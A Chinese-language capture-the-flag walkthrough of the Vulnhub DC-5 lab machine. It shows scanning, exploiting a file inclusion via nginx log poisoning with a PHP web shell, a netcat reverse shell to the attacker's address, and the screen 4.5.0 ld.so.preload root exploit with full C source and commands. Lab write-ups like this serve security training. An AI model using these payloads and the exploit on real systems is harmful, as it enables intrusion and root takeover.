Vulnhub靶机DC系列-DC-5
靶场名称:DC-5
靶场地址:https://www.vulnhub.com/entry/dc-5,314/
下载地址:
DC-5.zip (Size: 521 MB)
Download: http://www.five86.com/downloads/DC-5.zip
Download (Mirror): https://download.vulnhub.com/dc/DC-5.zip
Download (Torrent): https://download.vulnhub.com/dc/DC-5.zip.torrent (Magnet)
VMware->文件->打开->选中 .ova 文件,导入,会提示导入失败,点重试就完事了(双击.ova好像就直接导入了-_-)
打开DC靶机(网络适配器看一下是不是NAT模式,不然扫不出来)
kali攻击机网段:192.168.210.0/24
nmap 扫一下DC-5靶机的网段
namp -sn x.x.x.x/x
靶机DC-5 IP:192.168.210.144
kali:192.168.210.137
扫描开放的端口,操作系统版本等等
nmap -sV -O 192.168.210.144
111端口是SUN公司的RPC(Remote Procedure Call,远程过程调用)服务所开放的端口,主要用于分布式系统中不同计算机的内部进程通信,RPC在多种网络服务中都是很重要的组件。常见的RPC服务有rpc.mountd、NFS、rpc.statd、rpc.csmd、rpc.ttybd、amd等等。在Microsoft的Windows中,同样也有RPC服务。
访问页面(这说的好像不是人话(澳大利亚?),原谅老衲英文太烂,机翻就更没话说了),好的,什么有用的信息都没有
contact有个提交口,随便测试一下,无果。
dirb扫一下目录吧,无果。
再来看看这个留言框
两次提交时间变了,猜测存在文件包含。
用dirbuster换个字典再扫一次
发现一个新的文件
确定是文件包含,判断参数(一般是file,基本都是),读取/etc/passwd
中间件是nginx1.6.2,nginx日志文件在路径“/var/log/nginx/”下
有回显,access.log也有回显,利用access.log,写入php语句反弹shell.
这里我卡住了,日志怎么都写不进去,后面发现应该是日志满了,只能重新导入镜像
然后就顺利了,写一句话
/thankyou.php?file=<?php system($_GET['cmd']);?>
反弹shell
- 靶机
/thankyou.php?file=/var/log/nginx/error.log&cmd=nc -e /bin/sh 192.168.210.137 9999
- kali
nc -lvvp 9999
用python切换成交互shell
python -c "import pty;pty.spawn('/bin/bash')"
查找是否有可利用的suid文件
find / -perm /4000 2>/dev/null
/ 根目录
-perm /4000 查找SUID权限
2> 错误输出到空文件
screen 可利用,searchsploit搜索一下用法
searchsploit screen 4.5.0
cat /usr/share/exploitdb/exploits/linux/local/41154.sh
用法如下:
- 创建并编译libhax.c
touch libhax.c
vim libhax.c
#include <stdio.h>
#include <sys/types.h>
#include <unistd.h>
__attribute__ ((__constructor__))
void dropshell(void){
chown("/tmp/rootshell", 0, 0);
chmod("/tmp/rootshell", 04755);
unlink("/etc/ld.so.preload");
printf("[+] done!\n");
}
编译
gcc -fPIC -shared -ldl -o libhax.so libhax.c
- 创建rootshell.c并编译文件
touch rootshell.c
vim rootshell.c
#include <stdio.h>
int main(void){
setuid(0);
setgid(0);
seteuid(0);
setegid(0);
execvp("/bin/sh", NULL, NULL);
}
编译
gcc -o rootshell rootshell.c
#!/bin/bash
# screenroot.sh
# setuid screen v4.5.0 local root exploit
# abuses ld.so.preload overwriting to get root.
# bug: https://lists.gnu.org/archive/html/screen-devel/2017-01/msg00025.html
# HACK THE PLANET
# ~ infodox (25/1/2017)
echo "~ gnu/screenroot ~"
echo "[+] First, we create our shell and library..."
screen -ls # screen itself is setuid,so...
/tmp/rootshell
在保存dc5.sh文件输入 :set ff=unix
,否则在执行脚本文件时后出错
或者不用.sh脚本也行
根据提权说明,使用方法
首先输入命令:cd /etc
然后输入命令:umask 000
然后输入命令:screen -D -m -L ld.so.preload echo -ne "\x0a/tmp/libhax.so"
然后输入命令:screen -ls
最后输入命令:/tmp/rootshell,成功提权
- 蚁剑传上去这3个(用REQUEST ,GET和POST不知道为啥不行)
提权成功